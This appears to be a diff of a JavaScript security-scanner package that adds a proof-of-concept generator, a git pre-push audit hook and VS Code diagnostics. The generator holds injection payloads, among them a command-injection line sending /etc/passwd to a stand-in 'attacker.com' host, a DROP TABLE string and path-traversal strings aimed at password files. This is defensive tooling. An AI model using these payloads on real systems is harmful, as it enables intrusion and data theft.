fivosense 0.1.4 → 0.1.6

package/src/engine/poc.ts

@@ -0,0 +1,212 @@
+/**
+ * PoC Generator - Generate proof-of-concept exploits
+ */
+
+import { TaintTrace } from '../engine/taint.js';
+
+export interface PoCTest {
+  category: string;
+  payload: string;
+  expectedBehavior: string;
+  testCode: string;
+  curlCommand?: string;
+}
+
+/**
+ * Generate SQL injection PoC
+ */
+function generateSQLPoC(trace: TaintTrace): PoCTest {
+  const payloads = [
+    "' OR '1'='1",
+    "'; DROP TABLE users--",
+    "' UNION SELECT NULL, username, password FROM users--",
+  ];
+  
+  const payload = payloads[0];
+  
+  return {
+    category: 'SQL Injection',
+    payload,
+    expectedBehavior: 'Bypasses authentication or extracts data',
+    testCode: `
+// Test SQL Injection
+const maliciousInput = "${payload}";
+const query = "SELECT * FROM users WHERE id = '" + maliciousInput + "'";
+// Expected: Query becomes: SELECT * FROM users WHERE id = '' OR '1'='1'
+// Result: Returns all users (authentication bypass)
+`,
+    curlCommand: trace.path.includes('req.') 
+      ? `curl -X POST http://localhost:3000/api/endpoint -d "id=${encodeURIComponent(payload)}"` 
+      : undefined,
+  };
+}
+
+/**
+ * Generate XSS PoC
+ */
+function generateXSSPoC(trace: TaintTrace): PoCTest {
+  const payloads = [
+    '<script>alert(document.cookie)</script>',
+    '<img src=x onerror=alert(1)>',
+    '<svg onload=alert(1)>',
+  ];
+  
+  const payload = payloads[0];
+  
+  return {
+    category: 'Cross-Site Scripting (XSS)',
+    payload,
+    expectedBehavior: 'Executes JavaScript in victim browser',
+    testCode: `
+// Test XSS
+const maliciousInput = "${payload}";
+document.getElementById('output').innerHTML = maliciousInput;
+// Expected: Script executes, shows alert with cookies
+// Impact: Session hijacking, data theft
+`,
+    curlCommand: trace.path.includes('req.') 
+      ? `curl "http://localhost:3000/page?name=${encodeURIComponent(payload)}"` 
+      : undefined,
+  };
+}
+
+/**
+ * Generate Command Injection PoC
+ */
+function generateCommandPoC(trace: TaintTrace): PoCTest {
+  const payloads = [
+    '; cat /etc/passwd',
+    '| whoami',
+    '&& curl attacker.com/?data=$(cat /etc/passwd)',
+  ];
+  
+  const payload = payloads[0];
+  
+  return {
+    category: 'Command Injection',
+    payload,
+    expectedBehavior: 'Executes arbitrary system commands',
+    testCode: `
+// Test Command Injection
+const maliciousInput = "file.txt${payload}";
+exec(\`cat \${maliciousInput}\`);
+// Expected: Runs: cat file.txt; cat /etc/passwd
+// Result: Leaks system password file
+`,
+    curlCommand: trace.path.includes('req.') 
+      ? `curl -X POST http://localhost:3000/api/command -d "file=test.txt${encodeURIComponent(payload)}"` 
+      : undefined,
+  };
+}
+
+/**
+ * Generate Path Traversal PoC
+ */
+function generatePathTraversalPoC(trace: TaintTrace): PoCTest {
+  const payloads = [
+    '../../../etc/passwd',
+    '..\\..\\..\\windows\\system32\\config\\sam',
+    '....//....//....//etc/passwd',
+  ];
+  
+  const payload = payloads[0];
+  
+  return {
+    category: 'Path Traversal',
+    payload,
+    expectedBehavior: 'Reads files outside intended directory',
+    testCode: `
+// Test Path Traversal
+const maliciousInput = "${payload}";
+fs.readFile(\`/uploads/\${maliciousInput}\`, (err, data) => {
+  // Expected: Reads /etc/passwd instead of /uploads/file
+  // Result: Exposes sensitive system files
+});
+`,
+    curlCommand: trace.path.includes('req.') 
+      ? `curl "http://localhost:3000/download?file=${encodeURIComponent(payload)}"` 
+      : undefined,
+  };
+}
+
+/**
+ * Generate NoSQL Injection PoC
+ */
+function generateNoSQLPoC(trace: TaintTrace): PoCTest {
+  const payload = '{"$gt": ""}';
+  
+  return {
+    category: 'NoSQL Injection',
+    payload,
+    expectedBehavior: 'Bypasses authentication or extracts data',
+    testCode: `
+// Test NoSQL Injection
+const maliciousInput = ${payload};
+db.collection('users').find({ username: req.body.username, password: maliciousInput });
+// Expected: Query matches all documents (password always > "")
+// Result: Authentication bypass
+`,
+    curlCommand: trace.path.includes('req.') 
+      ? `curl -X POST http://localhost:3000/login -H "Content-Type: application/json" -d '{"username":"admin","password":${payload}}'` 
+      : undefined,
+  };
+}
+
+/**
+ * Generate PoC based on vulnerability type
+ */
+export function generatePoC(trace: TaintTrace): PoCTest {
+  switch (trace.category.toLowerCase()) {
+    case 'sql':
+      return generateSQLPoC(trace);
+    
+    case 'xss':
+      return generateXSSPoC(trace);
+    
+    case 'command':
+      return generateCommandPoC(trace);
+    
+    case 'path':
+      return generatePathTraversalPoC(trace);
+    
+    case 'nosql':
+      return generateNoSQLPoC(trace);
+    
+    default:
+      return {
+        category: trace.category,
+        payload: '<malicious-input>',
+        expectedBehavior: 'Exploits vulnerability',
+        testCode: `
+// Generic test for ${trace.category}
+const maliciousInput = "<malicious-input>";
+// Test with malicious input to verify vulnerability
+`,
+      };
+  }
+}
+
+/**
+ * Format PoC as markdown
+ */
+export function formatPoCMarkdown(poc: PoCTest): string {
+  let md = `## ${poc.category} - Proof of Concept\n\n`;
+  
+  md += `### Payload\n\`\`\`\n${poc.payload}\n\`\`\`\n\n`;
+  
+  md += `### Expected Behavior\n${poc.expectedBehavior}\n\n`;
+  
+  md += `### Test Code\n\`\`\`javascript${poc.testCode}\n\`\`\`\n\n`;
+  
+  if (poc.curlCommand) {
+    md += `### HTTP Test\n\`\`\`bash\n${poc.curlCommand}\n\`\`\`\n\n`;
+  }
+  
+  md += `### Mitigation\n`;
+  md += `- Use parameterized queries or prepared statements\n`;
+  md += `- Validate and sanitize all user input\n`;
+  md += `- Use allow-lists instead of block-lists\n`;
+  md += `- Apply principle of least privilege\n`;
+  
+  return md;
+}

package/src/features/index.ts

@@ -0,0 +1,7 @@
+/**
+ * Features exports
+ */
+
+export * from './roast.js';
+export * from './badge.js';
+export * from './fix.js';

package/src/hooks/git.ts

@@ -0,0 +1,187 @@
+/**
+ * Git Hooks - Pre-push security audit
+ */
+
+import { auditFile } from '../index.js';
+import { readFile } from 'fs/promises';
+import { exec } from 'child_process';
+import { promisify } from 'util';
+
+const execAsync = promisify(exec);
+
+export interface GitHookResult {
+  allowed: boolean;
+  findings: number;
+  critical: number;
+  high: number;
+  message: string;
+}
+
+/**
+ * Get list of staged files
+ */
+export async function getStagedFiles(): Promise<string[]> {
+  try {
+    const { stdout } = await execAsync('git diff --cached --name-only --diff-filter=ACM');
+    return stdout
+      .split('\n')
+      .filter(f => f.endsWith('.js') || f.endsWith('.ts') || f.endsWith('.jsx') || f.endsWith('.tsx'))
+      .filter(f => f.trim().length > 0);
+  } catch (error) {
+    console.warn('Failed to get staged files:', error);
+    return [];
+  }
+}
+
+/**
+ * Get list of files changed in current branch vs main
+ */
+export async function getBranchChangedFiles(base: string = 'main'): Promise<string[]> {
+  try {
+    const { stdout } = await execAsync(`git diff --name-only ${base}...HEAD`);
+    return stdout
+      .split('\n')
+      .filter(f => f.endsWith('.js') || f.endsWith('.ts') || f.endsWith('.jsx') || f.endsWith('.tsx'))
+      .filter(f => f.trim().length > 0);
+  } catch (error) {
+    console.warn('Failed to get branch changed files:', error);
+    return [];
+  }
+}
+
+/**
+ * Run pre-push hook audit
+ */
+export async function runPrePushHook(options: {
+  blockOnCritical?: boolean;
+  blockOnHigh?: boolean;
+  verbose?: boolean;
+} = {}): Promise<GitHookResult> {
+  const {
+    blockOnCritical = true,
+    blockOnHigh = false,
+    verbose = true,
+  } = options;
+
+  try {
+    // Get files to audit
+    const files = await getBranchChangedFiles();
+    
+    if (files.length === 0) {
+      return {
+        allowed: true,
+        findings: 0,
+        critical: 0,
+        high: 0,
+        message: '✅ No JavaScript/TypeScript files changed',
+      };
+    }
+
+    if (verbose) {
+      console.log(`\n🔍 FivoSense Pre-Push Audit`);
+      console.log(`📁 Scanning ${files.length} file(s)...\n`);
+    }
+
+    let totalFindings = 0;
+    let totalCritical = 0;
+    let totalHigh = 0;
+    const issues: string[] = [];
+
+    // Audit each file
+    for (const file of files) {
+      try {
+        const result = await auditFile(file);
+        
+        if (result.summary.total > 0) {
+          totalFindings += result.summary.total;
+          totalCritical += result.summary.critical;
+          totalHigh += result.summary.high;
+          
+          if (verbose && (result.summary.critical > 0 || result.summary.high > 0)) {
+            console.log(`❌ ${file}:`);
+            console.log(`   Critical: ${result.summary.critical}, High: ${result.summary.high}, Medium: ${result.summary.medium}`);
+            issues.push(`${file}: ${result.summary.critical}C/${result.summary.high}H/${result.summary.medium}M`);
+          }
+        }
+      } catch (error) {
+        if (verbose) {
+          console.warn(`⚠️  Failed to audit ${file}:`, error);
+        }
+      }
+    }
+
+    // Determine if push should be blocked
+    const shouldBlock = (blockOnCritical && totalCritical > 0) || (blockOnHigh && totalHigh > 0);
+
+    if (verbose) {
+      console.log(`\n📊 Summary:`);
+      console.log(`   Total findings: ${totalFindings}`);
+      console.log(`   Critical: ${totalCritical}`);
+      console.log(`   High: ${totalHigh}\n`);
+    }
+
+    if (shouldBlock) {
+      return {
+        allowed: false,
+        findings: totalFindings,
+        critical: totalCritical,
+        high: totalHigh,
+        message: `❌ Push blocked: ${totalCritical} critical and ${totalHigh} high severity issues found\n\n${issues.join('\n')}\n\nFix these issues or use --no-verify to bypass.`,
+      };
+    }
+
+    if (totalFindings > 0) {
+      return {
+        allowed: true,
+        findings: totalFindings,
+        critical: totalCritical,
+        high: totalHigh,
+        message: `⚠️  Push allowed with warnings: ${totalFindings} issue(s) found (${totalCritical}C/${totalHigh}H)`,
+      };
+    }
+
+    return {
+      allowed: true,
+      findings: 0,
+      critical: 0,
+      high: 0,
+      message: '✅ All files passed security audit',
+    };
+  } catch (error) {
+    return {
+      allowed: true,
+      findings: 0,
+      critical: 0,
+      high: 0,
+      message: `⚠️  Pre-push hook failed: ${error instanceof Error ? error.message : 'Unknown error'}`,
+    };
+  }
+}
+
+/**
+ * Install git pre-push hook
+ */
+export async function installPrePushHook(repoPath: string = '.'): Promise<boolean> {
+  try {
+    const hookPath = `${repoPath}/.git/hooks/pre-push`;
+    const hookScript = `#!/bin/sh
+# FivoSense pre-push hook
+npx fivosense --pre-push
+exit $?
+`;
+
+    await writeFile(hookPath, hookScript);
+    await execAsync(`chmod +x ${hookPath}`);
+    
+    console.log('✅ Pre-push hook installed successfully');
+    return true;
+  } catch (error) {
+    console.error('❌ Failed to install pre-push hook:', error);
+    return false;
+  }
+}
+
+async function writeFile(path: string, content: string): Promise<void> {
+  const { writeFile } = await import('fs/promises');
+  await writeFile(path, content);
+}

package/vscode-extension/package-lock.json

@@ -9,7 +9,7 @@
       "version": "0.1.0",
       "license": "MIT",
       "dependencies": {
-        "fivosense": "^0.1.3"
+        "fivosense": "^0.1.5"
       },
       "devDependencies": {
         "@types/node": "^20.11.0",
@@ -1224,9 +1224,9 @@
       }
     },
     "node_modules/fivosense": {
-      "version": "0.1.3",
-      "resolved": "https://registry.npmjs.org/fivosense/-/fivosense-0.1.3.tgz",
-      "integrity": "sha512-qAQ8h16jL5L1zSSYTl3iHvq614Yd5Vk6PZZ01rGj2ibaS1KNkmr8UOrjX7wAduZIS0ygPY0IOCyy7a9GdMTtmQ==",
+      "version": "0.1.5",
+      "resolved": "https://registry.npmjs.org/fivosense/-/fivosense-0.1.5.tgz",
+      "integrity": "sha512-82s3pGQQF4MOfqYkZsSPxFPkhjDcA4PJJ2wS1hzEqaPwKDsxLkRtuXl3mG64jT/I4hXStYOhu8Ui366LLJkegQ==",
       "license": "MIT",
       "dependencies": {
         "@babel/parser": "^7.23.0",

package/vscode-extension/package.json

@@ -81,14 +81,14 @@
     "typescript": "^5.3.3"
   },
   "dependencies": {
-    "fivosense": "^0.1.3"
+    "fivosense": "^0.1.5"
   },
   "repository": {
     "type": "git",
-    "url": "https://github.com/itsvinsoni/sense.git"
+    "url": "https://github.com/thevinsoni/sense.git"
   },
   "bugs": {
-    "url": "https://github.com/itsvinsoni/sense/issues"
+    "url": "https://github.com/thevinsoni/sense/issues"
   },
   "license": "MIT"
 }

package/vscode-extension/src/extension.ts

@@ -90,30 +90,35 @@ async function scanDocument(document: vscode.TextDocument) {
     const result = await auditFile(document.uri.fsPath);
     const diagnostics: vscode.Diagnostic[] = [];
 
-    // Convert findings to VS Code diagnostics
-    const allFindings = [...result.vulnerabilities, ...result.secrets, ...result.destructive];
-    for (const finding of allFindings) {
-      const severity = getSeverity(finding.severity);
+    // Convert vulnerabilities to VS Code diagnostics
+    for (const vuln of result.vulnerabilities) {
+      const severity = getSeverity(vuln.severity);
+      const line = vuln.location?.line || 1;
       const range = new vscode.Range(
-        finding.line - 1, 0,
-        finding.line - 1, 1000
+        line - 1, 0,
+        line - 1, 1000
       );
 
+      const evidenceText = vuln.evidence
+        ?.filter((e: any) => e.line)
+        .map((e: any) => `${e.type} at line ${e.line}`)
+        .join(', ') || 'No evidence';
+
       const diagnostic = new vscode.Diagnostic(
         range,
-        `[${finding.type}] ${finding.message}\n${finding.evidence}`,
+        `[${vuln.category}] ${vuln.finding}\n${evidenceText}`,
         severity
       );
 
-      diagnostic.code = finding.cwe;
+      diagnostic.code = vuln.cwe;
       diagnostic.source = 'FivoSense';
       
-      // Add fix as code action
-      if (finding.fix) {
+      // Add taint path as related info
+      if (vuln.path && vuln.path.length > 0) {
         diagnostic.relatedInformation = [
           new vscode.DiagnosticRelatedInformation(
             new vscode.Location(document.uri, range),
-            `Fix: ${finding.fix}`
+            `Taint path: ${vuln.path.join(' → ')}`
           )
         ];
       }
@@ -121,6 +126,55 @@ async function scanDocument(document: vscode.TextDocument) {
       diagnostics.push(diagnostic);
     }
 
+    // Convert secrets to VS Code diagnostics
+    for (const secret of result.secrets) {
+      const range = new vscode.Range(
+        secret.line - 1, 0,
+        secret.line - 1, 1000
+      );
+
+      const diagnostic = new vscode.Diagnostic(
+        range,
+        `[Secret] ${secret.type} detected: ${secret.match}`,
+        vscode.DiagnosticSeverity.Warning
+      );
+
+      diagnostic.code = 'CWE-798';
+      diagnostic.source = 'FivoSense';
+      diagnostic.relatedInformation = [
+        new vscode.DiagnosticRelatedInformation(
+          new vscode.Location(document.uri, range),
+          'Fix: Use environment variables instead of hardcoded secrets'
+        )
+      ];
+
+      diagnostics.push(diagnostic);
+    }
+
+    // Convert destructive commands to VS Code diagnostics
+    for (const cmd of result.destructive) {
+      const range = new vscode.Range(
+        cmd.line - 1, 0,
+        cmd.line - 1, 1000
+      );
+
+      const diagnostic = new vscode.Diagnostic(
+        range,
+        `[Destructive] ${cmd.command} - ${cmd.reason}`,
+        vscode.DiagnosticSeverity.Error
+      );
+
+      diagnostic.source = 'FivoSense';
+      diagnostic.relatedInformation = [
+        new vscode.DiagnosticRelatedInformation(
+          new vscode.Location(document.uri, range),
+          `Suggestion: ${cmd.suggestion}`
+        )
+      ];
+
+      diagnostics.push(diagnostic);
+    }
+
     diagnosticCollection.set(document.uri, diagnostics);
 
     // Update status bar